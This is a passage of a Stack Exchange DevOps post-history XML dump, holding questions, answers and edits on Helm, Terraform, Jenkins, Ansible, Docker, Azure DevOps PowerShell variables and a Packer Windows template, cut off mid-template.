  <row Id="41850" PostHistoryTypeId="2" PostId="13602" RevisionGUID="70d0224a-7d7e-4773-956c-d6e93acd2cac" CreationDate="2021-03-24T23:18:43.053" UserId="25804" Text="In the end I decided to go another way.&#xD;&#xA;&#xD;&#xA;I don't think it was actually a good idea to modify things in that way when the worker boots. It can cause problems because if you have to do some emergency modification of the configuration those changes will be reverted the next time your worker instances restart.&#xD;&#xA;&#xD;&#xA;Instead, on boot the worker checks if the queue exists. If the queue _does not_ exist, it will create the queue and all its corresponding configuration including SNS subscriptions etc. It deliberately will only create the SNS subscription for the queue if also creating the queue.&#xD;&#xA;&#xD;&#xA;This way, if some configuration has to be changed as an emergency in production, those changes won't be &quot;reset&quot; if the worker spins up new instances. &#xD;&#xA;&#xD;&#xA;It is a bit annoying, but also safer I think.&#xD;&#xA;&#xD;&#xA;Obviously, this is entirely personal opinion and what I went with in the end - but it seems to have served me relatively well so far. If anyone else has any better ideas or disagrees please do let me know.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41851" PostHistoryTypeId="2" PostId="13603" RevisionGUID="b49cbf2d-2ffa-446e-b2aa-baa8c275a980" CreationDate="2021-03-25T00:01:02.527" UserId="2484" Text="We have 3 clusters, `dev`, `stg` and `prd` in Google Kubernetes Engine.&#xD;&#xA;&#xD;&#xA;For some reason, the ingress resources are differently named between clusters.&#xD;&#xA;&#xD;&#xA;So for `dev` and `stage` it is called `ingress-resource` and for `prd` it is called `www`.&#xD;&#xA;&#xD;&#xA;I want to move these configs to Helm but I don't know how to specify the name for the different updates, as the property `name` doesn't belong to an Ingress type&#xD;&#xA;&#xD;&#xA;    {{- if semverCompare &quot;&gt;=1.14-0&quot; .Capabilities.KubeVersion.GitVersion -}}&#xD;&#xA;    apiVersion: networking.k8s.io/v1beta1&#xD;&#xA;    {{- else -}}&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    {{- end }}&#xD;&#xA;    kind: Ingress&#xD;&#xA;    metadata: {{ .Values.ingress.metadata }}&#xD;&#xA;    spec: {{ .Values.ingress.spec }}&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/AaIo6.png&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41852" PostHistoryTypeId="1" PostId="13603" RevisionGUID="b49cbf2d-2ffa-446e-b2aa-baa8c275a980" CreationDate="2021-03-25T00:01:02.527" UserId="2484" Text="GKE How to update Ingresses with different names via helm?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41853" PostHistoryTypeId="3" PostId="13603" RevisionGUID="b49cbf2d-2ffa-446e-b2aa-baa8c275a980" CreationDate="2021-03-25T00:01:02.527" UserId="2484" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;kubernetes-helm&gt;&lt;google-kubernetes-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41854" PostHistoryTypeId="2" PostId="13604" RevisionGUID="e0d3ec72-b0e7-4c75-bb30-610dda91890d" CreationDate="2021-03-25T06:46:33.997" UserId="26801" Text="It suppose to be &#xD;&#xA;output &quot;vpc_id&quot; {&#xD;&#xA;  value = aws_vpc.production_vpc.id&#xD;&#xA;}" ContentLicense="CC BY-SA 4.0" />
  <row Id="41855" PostHistoryTypeId="5" PostId="13604" RevisionGUID="886b0ddd-daf7-43fe-a1b8-1bab6da22061" CreationDate="2021-03-25T08:07:08.083" UserId="354" Comment="format the code" Text="It should be written as:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;output &quot;vpc_id&quot; {&#xD;&#xA;  value = aws_vpc.production_vpc.id&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41866" PostHistoryTypeId="2" PostId="13608" RevisionGUID="8895a7f1-a45a-474f-8167-a601c478cb10" CreationDate="2021-03-26T05:05:06.973" UserId="26820" Text="AFAIK currently there is no way to label job so that it is easily identifiable from the Overview screen. If interested, you may raise feature request in [this][1] UserVoice / feedback forum. I see [this][2] related feature request already raised so you may even upvote it. In general, Azure feature team would check feasibility of a feature request, triage it, prioritize against existing feature backlog, add in roadmap as appropriate and would announce and/or update the related Azure document once a feature request is addressed.&#xD;&#xA;&#xD;&#xA;  [1]: https://feedback.azure.com/forums/246290-automation&#xD;&#xA;  [2]: https://feedback.azure.com/forums/246290-automation/suggestions/10360965-ui-improvements" ContentLicense="CC BY-SA 4.0" />
  <row Id="41867" PostHistoryTypeId="2" PostId="13609" RevisionGUID="020af0e2-7d79-4572-ad11-d269c3fc9161" CreationDate="2021-03-26T06:50:57.990" UserId="8727" Text="I've a Jenkinsfile in the `master` branch of the repository with following code&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('A') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'echo &quot;Step A&quot;'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now I want to add a new stage B for which I created a git branch `update/jenkinsfile` and in that branch the Jenkinsfile is now&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('A') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'echo &quot;Step A&quot;'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('B') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'echo &quot;Step B&quot;'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How do I make Jenkins to use Jenkinsfile from branch B not from master in order to testing the change?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41868" PostHistoryTypeId="1" PostId="13609" RevisionGUID="020af0e2-7d79-4572-ad11-d269c3fc9161" CreationDate="2021-03-26T06:50:57.990" UserId="8727" Text="Jenkinsfile update using version control" ContentLicense="CC BY-SA 4.0" />
  <row Id="41869" PostHistoryTypeId="3" PostId="13609" RevisionGUID="020af0e2-7d79-4572-ad11-d269c3fc9161" CreationDate="2021-03-26T06:50:57.990" UserId="8727" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41870" PostHistoryTypeId="2" PostId="13610" RevisionGUID="873b16b5-706a-44c8-8f13-bf12add2f457" CreationDate="2021-03-26T08:00:29.373" UserId="354" Text="It sounds like you want a [`when`](https://www.jenkins.io/doc/book/pipeline/syntax/#when) statement.&#xD;&#xA;&#xD;&#xA;As I understand it, you want to execute stage B **when** you are on branch `update/jenkinsfile`. In order to do this, you need to add a condition to stage B:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('A') {&#xD;&#xA;            steps {&#xD;&#xA;                sh 'echo &quot;Step A&quot;'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('B') {&#xD;&#xA;            when {&#xD;&#xA;              branch 'update/jenkinsfile'&#xD;&#xA;            }&#xD;&#xA;            steps {&#xD;&#xA;                sh 'echo &quot;Step B&quot;'&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Note that you also need your jenkins to discover this new branch - this will depend on how you have configured the job. The above assumes that you have a multibranch pipeline job which is configured to include that branch." ContentLicense="CC BY-SA 4.0" />
  <row Id="41871" PostHistoryTypeId="5" PostId="10689" RevisionGUID="63217f27-c25b-4e40-8768-bbbe0b72a361" CreationDate="2021-03-26T08:48:24.410" UserId="7715" Comment="added 34 characters in body" Text="Q: *&quot;**Is it possible to use Ansible to manage the order of programs?**&quot;*&#xD;&#xA;&#xD;&#xA;A: Yes. It's possible. For example, the playbook below does the job&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- hosts: HostA&#xD;&#xA;  tasks:&#xD;&#xA;    - include_role:&#xD;&#xA;        name: startprogram&#xD;&#xA;&#xD;&#xA;- hosts: HostB&#xD;&#xA;  tasks:&#xD;&#xA;    - include_role:&#xD;&#xA;        name: runcommand&#xD;&#xA;      when: hostvars.HostA.HostAprogram_started|default(false)&#xD;&#xA;&#xD;&#xA;- hosts: HostC&#xD;&#xA;  tasks:&#xD;&#xA;    - include_role:&#xD;&#xA;        name: startsecprogram&#xD;&#xA;      when: hostvars.HostB.HostBcommand_passed|default(false)&#xD;&#xA;&#xD;&#xA;- hosts: HostD,HostE&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        msg: command on {{ inventory_hostname }} which requires HostC program to run&#xD;&#xA;      when: hostvars.HostC.HostCprogram_started|default(false)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Example of the roles for the purpose of testing&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat roles/startprogram/tasks/main.yml&#xD;&#xA;- debug:&#xD;&#xA;    msg: /etc/init.d/HostAprogram.sh start&#xD;&#xA;- set_fact:&#xD;&#xA;    HostAprogram_started: true&#xD;&#xA;&#xD;&#xA;shell&gt; cat roles/runcommand/tasks/main.yml&#xD;&#xA;- debug:&#xD;&#xA;    msg: command which using host A&#xD;&#xA;- set_fact:&#xD;&#xA;    HostBcommand_passed: true&#xD;&#xA;&#xD;&#xA;shell&gt; cat roles/startsecprogram/tasks/main.yml&#xD;&#xA;- debug:&#xD;&#xA;    msg: /etc/init.d/HostCprogram.sh start&#xD;&#xA;- set_fact:&#xD;&#xA;    HostCprogram_started: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Example of the output&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;ok: [HostA] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;/etc/init.d/HostAprogram.sh start&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostB] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;command which using host A&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostC] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;/etc/init.d/HostCprogram.sh start&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostD] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;command on HostD which requires HostC program to run&quot;&#xD;&#xA;}&#xD;&#xA;ok: [HostE] =&gt; {&#xD;&#xA;    &quot;msg&quot;: &quot;command on HostE which requires HostC program to run&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41872" PostHistoryTypeId="2" PostId="13611" RevisionGUID="c40a2301-766f-4a0e-8fc8-ae03ccccd35c" CreationDate="2021-03-26T09:33:28.360" UserId="26604" Text="I have a cluster installed on openshift and used the clusterlogging operator and elasticsearch operator to enable logging on the cluster.&#xD;&#xA;&#xD;&#xA;On kibnana i am only able to see the logs from certain namespaces and not all the namespaces i have. How do I configure fluentd to read logs from all pods in all namespaces.&#xD;&#xA;&#xD;&#xA;I do not have a fluentd service account (It was not created with the installation of the operator)&#xD;&#xA;&#xD;&#xA;Also the namespaces from which i dont see any logs have a nodeselector mentioned to it. Could that be a reason why the logs are not avaiable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41873" PostHistoryTypeId="1" PostId="13611" RevisionGUID="c40a2301-766f-4a0e-8fc8-ae03ccccd35c" CreationDate="2021-03-26T09:33:28.360" UserId="26604" Text="Fluents unable to read logs from all namespaces" ContentLicense="CC BY-SA 4.0" />
  <row Id="41874" PostHistoryTypeId="3" PostId="13611" RevisionGUID="c40a2301-766f-4a0e-8fc8-ae03ccccd35c" CreationDate="2021-03-26T09:33:28.360" UserId="26604" Text="&lt;openshift&gt;&lt;kibana&gt;&lt;fluentd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41875" PostHistoryTypeId="2" PostId="13612" RevisionGUID="c27867b1-4bf1-42c3-b3fa-7774d76c934e" CreationDate="2021-03-26T10:49:39.977" UserId="26728" Text="I am working with a number of Raspberry Pis to which some microcontroller-equipped hardware is connected. This hardware is being tested remotely and automated (using Jenkins with the [Docker Pipeline plugin](https://docs.cloudbees.com/docs/admin-resources/latest/plugins/docker-workflow)). For every test, a Docker container is started with the necessary software inside.&#xD;&#xA;&#xD;&#xA;Lately, I am encountering frequent (&gt; 50% of runs) error messages when starting the Docker container:&#xD;&#xA;&#xD;&#xA;&gt; `Failed to run image '&lt;some image&gt;'. Error:`&#xD;&#xA;&#xD;&#xA;Yes, I am not failing to include any part of the error message, that's all there is.&#xD;&#xA;&#xD;&#xA;I have traced the source of the error message down to [a line in the docker-workflow-plugin source](https://github.com/jenkinsci/docker-workflow-plugin/blob/7beaa4f7089928a0cea0ebcc6bfee5447a8485d9/src/main/java/org/jenkinsci/plugins/docker/workflow/client/DockerClient.java#L311), but it basically says that the `java.hudson.Launcher` or the process it controls fails to put an error message into `stderr`.&#xD;&#xA;&#xD;&#xA;I cannot find any hints on the system (Raspi) side:&#xD;&#xA;- `docker events` shows the creation of the container, but does not note the start of the container,&#xD;&#xA;- system logs do not show anything out of the ordinary&#xD;&#xA;&#xD;&#xA;The error occurs mostly on one specific Raspi, but is not reproducible.&#xD;&#xA;&#xD;&#xA;Is this a known behavior for a specific error when starting a Docker container? Do you have any ideas where I could look for reasons the container start is failing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41876" PostHistoryTypeId="1" PostId="13612" RevisionGUID="c27867b1-4bf1-42c3-b3fa-7774d76c934e" CreationDate="2021-03-26T10:49:39.977" UserId="26728" Text="Docker workflow plugin returns empty error message when starting a container" ContentLicense="CC BY-SA 4.0" />
  <row Id="41877" PostHistoryTypeId="3" PostId="13612" RevisionGUID="c27867b1-4bf1-42c3-b3fa-7774d76c934e" CreationDate="2021-03-26T10:49:39.977" UserId="26728" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41882" PostHistoryTypeId="50" PostId="13330" RevisionGUID="88e6f34a-5548-4d1e-8dd3-815ed28a90a6" CreationDate="2021-03-26T16:03:10.417" UserId="-1" />
  <row Id="41885" PostHistoryTypeId="2" PostId="13615" RevisionGUID="0ab4aab7-b981-4e51-ba58-e4450e03859b" CreationDate="2021-03-26T16:34:36.737" UserId="26833" Text="I'm trying to build the docker image for a software using &quot;docker build -t cytools .&quot;. Here is the output that I'm confused about:&#xD;&#xA;&#xD;&#xA;`[+] Building 0.0s (1/2)                                                         &#xD;&#xA; =&gt; [internal] load build definition from Dockerfile                       0.0s&#xD;&#xA; =&gt; =&gt; transferring dockerfile: 2B                                         0.0s&#xD;&#xA;failed to solve with frontend dockerfile.v0: failed to read dockerfile: open /var/lib/docker/tmp/buildkit-mount346931491/Dockerfile: no such file or directory`&#xD;&#xA;&#xD;&#xA;Does anyone know what this means? I am new to all this, so sorry if I didn't use the correct terminology or give the full picture!" ContentLicense="CC BY-SA 4.0" />
  <row Id="41886" PostHistoryTypeId="1" PostId="13615" RevisionGUID="0ab4aab7-b981-4e51-ba58-e4450e03859b" CreationDate="2021-03-26T16:34:36.737" UserId="26833" Text="Having trouble with building Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="41887" PostHistoryTypeId="3" PostId="13615" RevisionGUID="0ab4aab7-b981-4e51-ba58-e4450e03859b" CreationDate="2021-03-26T16:34:36.737" UserId="26833" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41888" PostHistoryTypeId="50" PostId="13419" RevisionGUID="779da513-e862-4021-a455-34094386beb8" CreationDate="2021-03-26T17:03:50.363" UserId="-1" />
  <row Id="41890" PostHistoryTypeId="2" PostId="13616" RevisionGUID="c48579c9-078e-427b-959c-753cf80ee759" CreationDate="2021-03-26T17:40:44.073" UserId="26834" Text="I've spent 7 hours non stop trying to figure this out and I can't see why my ipaddress is not getting set.&#xD;&#xA;&#xD;&#xA;Note what I have most recently tried. I've checked code samples and they all suggest I am doing everything correct.&#xD;&#xA;&#xD;&#xA;`ip` variable defined here:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;This is my powershell script:&#xD;&#xA;&#xD;&#xA;    # Write your PowerShell commands here.&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;AGENTIPADDRESS variable is set to ($env:AGENTIPADDRESS)&quot;&#xD;&#xA;&#xD;&#xA;    $ipaddress = Invoke-RestMethod http://ipinfo.io/json | Select -exp ip&#xD;&#xA;    Write-Host &quot;ipaddress variable is set to ($ipaddress)&quot;&#xD;&#xA;    Write-Host &quot;ip pipeline variable to ($ip)&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=env:IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=$env:IP;]$ipaddress&quot;&#xD;&#xA;    echo &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]333&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    echo &quot;##vso[task.setvariable variable=IP]999&quot;&#xD;&#xA;    echo &quot;##vso[task.setvariable variable=IP;]888&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP]114&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]123&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;ip environment variable to ($ip)&quot;&#xD;&#xA;    Write-Host &quot;env:IP environment variable to ($env:IP)&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;Set environment variable to ($env:AGENTIPADDRESS)&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And here is my output:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can anyone help me find out why I can't set &amp; read the `ip` variable?&#xD;&#xA;&#xD;&#xA;(I realise some of my attempts could be removed, but I want to list them here to show some of what I have tried)&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/0y5Jr.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/zXkfe.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41891" PostHistoryTypeId="1" PostId="13616" RevisionGUID="c48579c9-078e-427b-959c-753cf80ee759" CreationDate="2021-03-26T17:40:44.073" UserId="26834" Text="Azure Devops Pipeline variables in Powershell" ContentLicense="CC BY-SA 4.0" />
  <row Id="41892" PostHistoryTypeId="3" PostId="13616" RevisionGUID="c48579c9-078e-427b-959c-753cf80ee759" CreationDate="2021-03-26T17:40:44.073" UserId="26834" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;environment-variables&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41893" PostHistoryTypeId="2" PostId="13617" RevisionGUID="c6237262-b042-4d96-9328-e6cd5777b0df" CreationDate="2021-03-26T18:01:14.430" UserId="26835" Text="Even though this is a year old...&#xD;&#xA;&#xD;&#xA;If the containers important data isn't in a volume mount already, you could always try copying the important content out of the still running container and mount it into your more permanent container.&#xD;&#xA;&#xD;&#xA;    docker cp &lt;container&gt;:/path/in/container /path/on/host&#xD;&#xA;    docker run -it -v /path/on/host:/path/in/container ....&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="41894" PostHistoryTypeId="5" PostId="13615" RevisionGUID="e6c9c7e1-f71e-428b-8a62-6965c2993d6b" CreationDate="2021-03-26T19:05:27.943" UserId="13139" Comment="Improve formatting" Text="I'm trying to build a docker image for a software using `docker build -t cytools .`&#xD;&#xA;&#xD;&#xA;Here is the output that I'm confused about:&#xD;&#xA;&#xD;&#xA;    [+] Building 0.0s (1/2)                                                         &#xD;&#xA;     =&gt; [internal] load build definition from Dockerfile                       0.0s&#xD;&#xA;     =&gt; =&gt; transferring dockerfile: 2B                                         0.0s&#xD;&#xA;    failed to solve with frontend dockerfile.v0: failed to read dockerfile: open /var/lib/docker/tmp/buildkit-mount346931491/Dockerfile: no such file or directory&#xD;&#xA;&#xD;&#xA;Does anyone know what this means? I am new to all this, so sorry if I didn't use the correct terminology or give the full picture!" ContentLicense="CC BY-SA 4.0" />
  <row Id="41895" PostHistoryTypeId="24" PostId="13615" RevisionGUID="e6c9c7e1-f71e-428b-8a62-6965c2993d6b" CreationDate="2021-03-26T19:05:27.943" Comment="Proposed by 13139 approved by 40 edit id of 1360" ContentLicense="CC BY-SA 4.0" />
  <row Id="41896" PostHistoryTypeId="5" PostId="13616" RevisionGUID="06423e0c-91bb-42cd-9633-362f73f2fdc7" CreationDate="2021-03-26T19:08:26.600" UserId="40" Comment="deleted 218 characters in body" Text="I've tried to figure this out and I can't see why my ipaddress is not getting set.&#xD;&#xA;&#xD;&#xA;I've checked code samples and they all suggest I am doing everything correct.&#xD;&#xA;&#xD;&#xA;`ip` variable defined here:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;This is my powershell script:&#xD;&#xA;&#xD;&#xA;    # Write your PowerShell commands here.&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;AGENTIPADDRESS variable is set to ($env:AGENTIPADDRESS)&quot;&#xD;&#xA;&#xD;&#xA;    $ipaddress = Invoke-RestMethod http://ipinfo.io/json | Select -exp ip&#xD;&#xA;    Write-Host &quot;ipaddress variable is set to ($ipaddress)&quot;&#xD;&#xA;    Write-Host &quot;ip pipeline variable to ($ip)&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=env:IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=$env:IP;]$ipaddress&quot;&#xD;&#xA;    echo &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]333&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    echo &quot;##vso[task.setvariable variable=IP]999&quot;&#xD;&#xA;    echo &quot;##vso[task.setvariable variable=IP;]888&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]$ipaddress&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP]114&quot;&#xD;&#xA;    Write-Host &quot;##vso[task.setvariable variable=IP;]123&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;ip environment variable to ($ip)&quot;&#xD;&#xA;    Write-Host &quot;env:IP environment variable to ($env:IP)&quot;&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;Set environment variable to ($env:AGENTIPADDRESS)&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And here is my output:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Why can't I set &amp; read the `ip` variable?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/0y5Jr.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/zXkfe.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41897" PostHistoryTypeId="50" PostId="13226" RevisionGUID="3431fca2-637e-4857-8f8d-0e161dca64e7" CreationDate="2021-03-26T22:01:45.180" UserId="-1" />
  <row Id="42898" PostHistoryTypeId="2" PostId="13618" RevisionGUID="fb0911e6-0447-4396-8da0-8e7a842d166f" CreationDate="2021-03-27T04:06:49.300" UserId="24394" Text="I have a hardcoded hostvars line, like so:&#xD;&#xA;&#xD;&#xA;node1_hostname={{ hostvars['192.168.0.162']['node1_hostname'] }}&#xD;&#xA;&#xD;&#xA;I have a set_fact variable from a previous play that I'd like to expand in the host section of the hostvars declaration, instead of the IP address. Can hostvars take expansion inside those brackets and single quotes?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="42899" PostHistoryTypeId="1" PostId="13618" RevisionGUID="fb0911e6-0447-4396-8da0-8e7a842d166f" CreationDate="2021-03-27T04:06:49.300" UserId="24394" Text="Ansible - Variable expansion inside hostvars declaration?" ContentLicense="CC BY-SA 4.0" />
  <row Id="42900" PostHistoryTypeId="3" PostId="13618" RevisionGUID="fb0911e6-0447-4396-8da0-8e7a842d166f" CreationDate="2021-03-27T04:06:49.300" UserId="24394" Text="&lt;ansible&gt;&lt;linux&gt;&lt;configuration-management&gt;&lt;yaml&gt;&lt;variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42901" PostHistoryTypeId="2" PostId="13619" RevisionGUID="b88e54b5-5d5a-4eb8-bf43-81291f665306" CreationDate="2021-03-27T05:23:47.883" UserId="26839" Text="I am a beginner to Packer. I am using a template found at https://github.com/StefanScherer/packer-windows for Windows 10, and have been able to create a virtual machine in Hyper-V using the template and my own .ISO. &#xD;&#xA;&#xD;&#xA;Now I want to take the next step and add some of my own PowerShell scripts to the process, but I notice this template has multiple references to 'floppy_files' at various parts of the template, yet they are the same script files repeated? Can someone explain why? Do I need to put my script in each floppy_files collection? I'd rather understand why before I do that even if it does happen to work. Template shown below for clarity. &#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;builders&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;accelerator&quot;: &quot;kvm&quot;,&#xD;&#xA;          &quot;boot_wait&quot;: &quot;6m&quot;,&#xD;&#xA;          &quot;communicator&quot;: &quot;winrm&quot;,&#xD;&#xA;          &quot;cpus&quot;: &quot;2&quot;,&#xD;&#xA;          &quot;disk_size&quot;: &quot;{{user `disk_size`}}&quot;,&#xD;&#xA;          &quot;floppy_files&quot;: [&#xD;&#xA;            &quot;{{user `autounattend`}}&quot;,&#xD;&#xA;            &quot;./floppy/WindowsPowershell.lnk&quot;,&#xD;&#xA;            &quot;./floppy/PinTo10.exe&quot;,&#xD;&#xA;            &quot;./scripts/fixnetwork.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-screensaver.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/enable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/microsoft-updates.bat&quot;,&#xD;&#xA;            &quot;./scripts/win-updates.ps1&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;headless&quot;: true,&#xD;&#xA;          &quot;iso_checksum&quot;: &quot;{{user `iso_checksum`}}&quot;,&#xD;&#xA;          &quot;iso_url&quot;: &quot;{{user `iso_url`}}&quot;,      &#xD;&#xA;          &quot;memory&quot;: &quot;{{user `memory`}}&quot;,&#xD;&#xA;          &quot;output_directory&quot;: &quot;windows_10-qemu&quot;,&#xD;&#xA;          &quot;qemuargs&quot;: [&#xD;&#xA;            [&#xD;&#xA;              &quot;-drive&quot;,&#xD;&#xA;              &quot;file=windows_10-qemu/{{ .Name }},if=virtio,cache=writeback,discard=ignore,format=qcow2,index=1&quot;&#xD;&#xA;            ],&#xD;&#xA;            [&#xD;&#xA;              &quot;-drive&quot;,&#xD;&#xA;              &quot;file={{ user `iso_url` }},media=cdrom,index=2&quot;&#xD;&#xA;            ],&#xD;&#xA;            [&#xD;&#xA;              &quot;-drive&quot;,&#xD;&#xA;              &quot;file={{ user `virtio_win_iso` }},media=cdrom,index=3&quot;&#xD;&#xA;            ]&#xD;&#xA;          ],&#xD;&#xA;          &quot;shutdown_command&quot;: &quot;shutdown /s /t 10 /f /d p:4:1 /c \&quot;Packer Shutdown\&quot;&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;qemu&quot;,&#xD;&#xA;          &quot;vm_name&quot;: &quot;{{user `vm_name`}}&quot;,&#xD;&#xA;          &quot;winrm_password&quot;: &quot;vagrant&quot;,&#xD;&#xA;          &quot;winrm_timeout&quot;: &quot;{{user `winrm_timeout`}}&quot;,&#xD;&#xA;          &quot;winrm_username&quot;: &quot;vagrant&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;boot_wait&quot;: &quot;6m&quot;,&#xD;&#xA;          &quot;communicator&quot;: &quot;winrm&quot;,&#xD;&#xA;          &quot;configuration_version&quot;: &quot;8.0&quot;,&#xD;&#xA;          &quot;cpus&quot;: &quot;2&quot;,&#xD;&#xA;          &quot;disk_size&quot;: &quot;{{user `disk_size`}}&quot;,&#xD;&#xA;          &quot;floppy_files&quot;: [&#xD;&#xA;            &quot;{{user `autounattend`}}&quot;,&#xD;&#xA;            &quot;./floppy/WindowsPowershell.lnk&quot;,&#xD;&#xA;            &quot;./floppy/PinTo10.exe&quot;,&#xD;&#xA;            